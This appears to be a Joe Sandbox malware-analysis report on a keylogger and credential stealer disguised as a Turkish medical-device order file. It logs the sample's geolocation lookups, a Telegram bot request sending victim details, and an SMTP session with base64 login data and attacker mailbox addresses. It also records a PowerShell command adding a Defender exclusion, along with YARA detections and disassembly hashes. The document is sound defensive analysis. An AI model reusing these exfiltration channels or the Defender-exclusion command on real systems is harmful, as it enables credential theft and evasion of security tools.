2024-12-06 08:58:10 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49747	172.67.177.134	443	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:58:12 UTC	61	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-06 08:58:13 UTC	874	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:13 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 352916 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=neelSP4sVR28Zn8qxVPkX5OTAyxFhNi2HXhBozP5T4gWyedctmdMixghUD4vKE%2B4vZeH8MT92J5sOCMroR8Itq9kDAUnnIGf4wbVKMoY%2FMNUYLvGhMTt5384hUsGEIvsBvOOz8WT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edb12a82ed04334-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1912&min_rtt=1898&rtt_var=740&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1452013&cwnd=224&unsent_bytes=0&cid=ccc9a10bc0025824&ts=466&x=0"
2024-12-06 08:58:13 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49756	172.67.177.134	443	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:58:15 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-06 08:58:16 UTC	874	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:16 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 352919 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YTKqSdy9GXmMxH5VslzIFwDmp7pVCtMQReUCoi0sxba%2FnGDhYk5EnM5CQmuBYaR%2BdgiHaV6BKeTHRTD9ty0qxyxF8xtLjLqUxaF60mKjaWp2RIUoc1kqpTWdrzeqRTcI3ZVCqnq2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edb12bb5a7743bf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1747&min_rtt=1740&rtt_var=667&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1622222&cwnd=252&unsent_bytes=0&cid=5228c45658c77b35&ts=449&x=0"
2024-12-06 08:58:16 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49765	172.67.177.134	443	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:58:19 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-06 08:58:19 UTC	870	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:19 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 352922 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q6NRjSQNeH5BYUbdLFXBRUT5JszOBbSg86P2sOeuOOG0bmYQrdQwwzJe81NBby2XgSxycgleNoxdtbv71psp2jYAQxN0YaXzLbeP2j5zEBWzcaUkegSN4SvX4GMHA5QQ6K3wvBYM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edb12cf4c327279-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1787&min_rtt=1782&rtt_var=679&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1597374&cwnd=220&unsent_bytes=0&cid=505c46c9f1ec4db2&ts=465&x=0"
2024-12-06 08:58:19 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49775	172.67.177.134	443	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:58:22 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-06 08:58:22 UTC	874	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:22 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 352925 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NW5G9CBYVXY4WiC3xMMvrvAevOGw2qnGAsTptRm676rm5sIXc4bUYQMjUvOh7UhV6tvshZmM9L5IePOaFQuygKhgb5oZMG25HIGcjXOgYqQ7vLb3QG%2B7QrMnmi6E3LN5RuDx%2BbpR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edb12e3b864428e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1672&min_rtt=1662&rtt_var=644&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1670480&cwnd=222&unsent_bytes=0&cid=f7f173644c5412bf&ts=450&x=0"
2024-12-06 08:58:22 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49781	149.154.167.220	443	7608	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:58:24 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:745773%0D%0ADate%20and%20Time:%2007/12/2024%20/%2009:28:08%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20745773%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-12-06 08:58:24 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 06 Dec 2024 08:58:24 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-06 08:58:24 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Dec 6, 2024 09:58:33.702389002 CET	587	49802	77.245.159.14	192.168.2.7	220-stilgar.wlsrv.com ESMTP Exim 4.96.2 #2 Fri, 06 Dec 2024 11:58:33 +0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Dec 6, 2024 09:58:33.702600002 CET	49802	587	192.168.2.7	77.245.159.14	EHLO 745773
Dec 6, 2024 09:58:34.134870052 CET	587	49802	77.245.159.14	192.168.2.7	250-stilgar.wlsrv.com Hello 745773 [8.46.123.228] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Dec 6, 2024 09:58:34.136219025 CET	49802	587	192.168.2.7	77.245.159.14	AUTH login YmlsZ2lAYWRlbmRhbmlzbWFubGlrLmNvbS50cg==
Dec 6, 2024 09:58:34.568434954 CET	587	49802	77.245.159.14	192.168.2.7	334 UGFzc3dvcmQ6
Dec 6, 2024 09:58:35.099234104 CET	587	49802	77.245.159.14	192.168.2.7	235 Authentication succeeded
Dec 6, 2024 09:58:35.099524021 CET	49802	587	192.168.2.7	77.245.159.14	MAIL FROM:<bilgi@adendanismanlik.com.tr>
Dec 6, 2024 09:58:35.531543016 CET	587	49802	77.245.159.14	192.168.2.7	250 OK
Dec 6, 2024 09:58:35.531796932 CET	49802	587	192.168.2.7	77.245.159.14	RCPT TO:<tiryaki.mehmetdemir@gmail.com>
Dec 6, 2024 09:58:36.008179903 CET	587	49802	77.245.159.14	192.168.2.7	250 Accepted
Dec 6, 2024 09:58:36.008358002 CET	49802	587	192.168.2.7	77.245.159.14	DATA
Dec 6, 2024 09:58:36.440217018 CET	587	49802	77.245.159.14	192.168.2.7	354 Enter message, ending with "." on a line by itself
Dec 6, 2024 09:58:36.440958023 CET	49802	587	192.168.2.7	77.245.159.14	.
Dec 6, 2024 09:58:37.045192957 CET	587	49802	77.245.159.14	192.168.2.7	250 OK id=1tJUAW-0056lY-0h
Dec 6, 2024 10:00:11.241167068 CET	49802	587	192.168.2.7	77.245.159.14	QUIT
Dec 6, 2024 10:00:11.875353098 CET	587	49802	77.245.159.14	192.168.2.7	221 stilgar.wlsrv.com closing connection

Analysis Process: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exePID: 7360, Parent PID: 4056

General

Target ID:	0
Start time:	03:57:52
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"
Imagebase:	0xd40000
File size:	723'968 bytes
MD5 hash:	BD1688F2A780E8EA5437F539F5FFC596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1326634004.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:57:53
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"
Imagebase:	0x570000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:57:53
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exePID: 7564, Parent PID: 7360

General

Target ID:	5
Start time:	03:57:53
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"
Imagebase:	0x50000
File size:	723'968 bytes
MD5 hash:	BD1688F2A780E8EA5437F539F5FFC596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exePID: 7588, Parent PID: 7360

General

Target ID:	6
Start time:	03:57:53
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"
Imagebase:	0x290000
File size:	723'968 bytes
MD5 hash:	BD1688F2A780E8EA5437F539F5FFC596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exePID: 7608, Parent PID: 7360

General

Target ID:	7
Start time:	03:57:53
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"
Imagebase:	0x760000
File size:	723'968 bytes
MD5 hash:	BD1688F2A780E8EA5437F539F5FFC596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000007.00000002.3757107438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000007.00000002.3759424707.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000007.00000002.3759424707.0000000002B9B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exePID: 7360, Parent PID: 4056COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.5%
Total number of Nodes:	243
Total number of Limit Nodes:	17

Executed Functions

Function 07B208A4 Relevance: 6.9, Strings: 5, Instructions: 622
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hq, xrefs: 07B22B7C
Hq, xrefs: 07B22C8D
Hq, xrefs: 07B22C03
Hq, xrefs: 07B22AE9
Hq, xrefs: 07B22D4B

Memory Dump Source

Source File: 00000000.00000002.1331090408.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b20000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: Hq$Hq$Hq$Hq$Hq
API String ID: 0-3799487529
Opcode ID: 5836d0dd1b88f8dc24b893102ee0a653cfe615e2ff17a517c847d4f02742cfdf
Instruction ID: 9021d14d22452ee0dc91bed2e6ff016746b17a22a6fb8fc38eeded86dbca7164
Opcode Fuzzy Hash: 5836d0dd1b88f8dc24b893102ee0a653cfe615e2ff17a517c847d4f02742cfdf
Instruction Fuzzy Hash: AE328FB0E012158FEB14DFA8C8547AEBBB2FF84300F1581AAD409EB395DE349C46DB95

Function 05576F90 Relevance: 1.4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

Strings

fq, xrefs: 055771B8

Memory Dump Source

Source File: 00000000.00000002.1327937016.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5570000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: fq
API String ID: 0-2523619172
Opcode ID: 721242e00bb8215b01160ad2398000fecb14c23680c0bad7804be015239408a9
Instruction ID: 67933f0b00cbb7baa0269a3904d0bdfff554efe35cfaab21e78f9effa380ba00
Opcode Fuzzy Hash: 721242e00bb8215b01160ad2398000fecb14c23680c0bad7804be015239408a9
Instruction Fuzzy Hash: 1781D174E012099FDB18DFA9D894AEEBBF2FF88300F248169D405AB364DB345942CF94

Function 05573E28 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

fq, xrefs: 055771B8

Memory Dump Source

Source File: 00000000.00000002.1327937016.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5570000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID: fq
API String ID: 0-2523619172
Opcode ID: aa13e518cf88a4d92d222a61969e4647d37da7871c80df88902d70ef4f3da625
Instruction ID: d727beff7f8ef4ff8d17b637c6f0dc11eee38d91303ec8cc25aec99a3b88e2c1
Opcode Fuzzy Hash: aa13e518cf88a4d92d222a61969e4647d37da7871c80df88902d70ef4f3da625
Instruction Fuzzy Hash: 5181B174E012199FDB18DFA5D894AEEBBF2FF88300F248169D405AB364DB345942CF94

Function 07B22518 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1331090408.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b20000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65bb86b66e4f73103da6660e3ad61bce35dcf44353832766f5dfaec906781db6
Instruction ID: 636d527128eae1cc280b70c5185e5be86167736c992e82c5a7da6e849dff7dc9
Opcode Fuzzy Hash: 65bb86b66e4f73103da6660e3ad61bce35dcf44353832766f5dfaec906781db6
Instruction Fuzzy Hash: 3CC15BB1D012298FEB14DF64C8847D9BBB2FF89300F15C5AAD409AB255EB309986DF91

Function 05574B01 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1327937016.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5570000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8c9b7d5e6c6eeeda1db518403b0cc4bad1fe8ce8a4e1ccb1a97af55fc2fe603
Instruction ID: bf2675afbe3a49c689dc30b0cd1b8aafedd9d82dd2430f5f13e97b7f84f7637e
Opcode Fuzzy Hash: f8c9b7d5e6c6eeeda1db518403b0cc4bad1fe8ce8a4e1ccb1a97af55fc2fe603
Instruction Fuzzy Hash: 87613697F08646DFCB36947A78163B111C4ABBA0B9F14C7AD5196CE3D3E297C812C362

Function 076D8816 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1330386792.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76d0000_fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg doc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64fe9728b56ae9cf94e2cf5af5f946dd26ef7a2da9ebc3cb5f3854d6cac5410a
Instruction ID: 6608645e84f2333216c5512b09de3e85c3d503046034c5774b5ba6fe043020d4
Opcode Fuzzy Hash: 64fe9728b56ae9cf94e2cf5af5f946dd26ef7a2da9ebc3cb5f3854d6cac5410a
Instruction Fuzzy Hash: ADA001C5CBE619E5D02518511808CB9902C838F380E413144801B234129902AC47469E

